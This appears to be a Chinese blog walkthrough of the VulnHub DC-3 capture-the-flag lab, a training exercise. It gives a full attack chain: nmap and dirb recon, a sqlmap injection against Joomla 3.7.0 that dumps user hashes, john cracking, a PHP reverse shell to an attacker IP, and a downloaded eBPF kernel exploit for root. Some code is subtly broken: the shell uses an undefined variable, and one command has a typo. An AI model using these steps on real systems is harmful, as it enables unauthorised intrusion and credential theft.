vulnhub:DC-3

1.环境搭建

靶机下载:https://www.vulnhub.com/entry/dc-32,312/

导入Oracle VM VirtualBox虚拟机,网络设置仅主机模式,网卡和kali使用同一网卡

启动靶机

2.渗透过程

使用namp工具扫描出靶机ip地址

nmap -sn 192.168.56.0/24

发现靶机IP地址,使用namp工具扫描靶机开启的端口

nmap -sS 192.168.56.114 -p-

发现80端口使用浏览器访问

http://192.168.56.114

使用dirb工具扫描网站目录

dirb http://192.168.56.114

发现敏感目录,使用浏览器访问该目录

http://192.168.56.114/administrator/

发现是joomla框架,使用joomscan工具扫描网站

joomscan --url http://192.168.56.114

扫描出来发现joomla框架是3.7.0版本的,搜索一下该版本的洞

searchsploit joomla 3.7.0

这里使用42033.txt这个文件

searchsploit -m 42033.txt 42033.txt

使用cat命令查看一下其内容

cat 42033.txt

使用sqlmap工具查找数据库名

sqlmap -u "http://192.168.56.114/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch

使用sqlmap命令查找表名

sqlmap -u "http://192.168.56.114/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch

查找字段名

sqlmap -u "http://192.168.56.114/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

查找字段值

sqlmap -u "http://192.168.56.114/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C id,username,password --dump -p list[fullordering]

发现admin的哈希值,将哈希值放到txt文件中

vim 1.txt

使用john爆破哈希值

'

john 1.txt

查看爆破出来的哈希值

john --show 1.txt

密码是snoopy,使用amdin用户名登陆

登陆成功, 发现一下这个地方存在命令执行

使用php代码写反弹shell代码

$sock = fsockopen("192.168.56.101", "6666");

$a = array(

        0 => $sock,

        1 => $sock,

        2 => $sock

);

$b = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($b);

监听6666端口

nc -lvp 6666

浏览器访问index.php

http://192.168.56.114/index.php

反弹shell成功

使用python切换交互模式

python -c 'import pty;pty.spawn("/bin/bash")'

进入root目录需要root权限,查看linux内核版本

cat /etc/issue

搜索该版本的漏洞

searchsploit Ubuntu 16.04

对比搜索引擎搜索该版本漏洞,使用39772.txt的漏洞

searchsploit -m 39772.txt 39772.txt

查看该文件

cat 39772.txt

发现这里有下载连接

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

使用unzip解压

unzip 39772.zip

进入目录

开启临时http服务

python3 -m http:server 8000

在反弹shell中使用wget命令,下载压缩包

wget http://192.168.56.101:8000/exploit.tar

下载成功,解压

tar -xvf exploit.tar

进入目录

cd ebpf_mapfd_doubleput_exploit

ls

执行脚本

./compile.sh

./doubleput

进入/root目录,查看flag

cd /root

ls

cat the-flag.txt

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值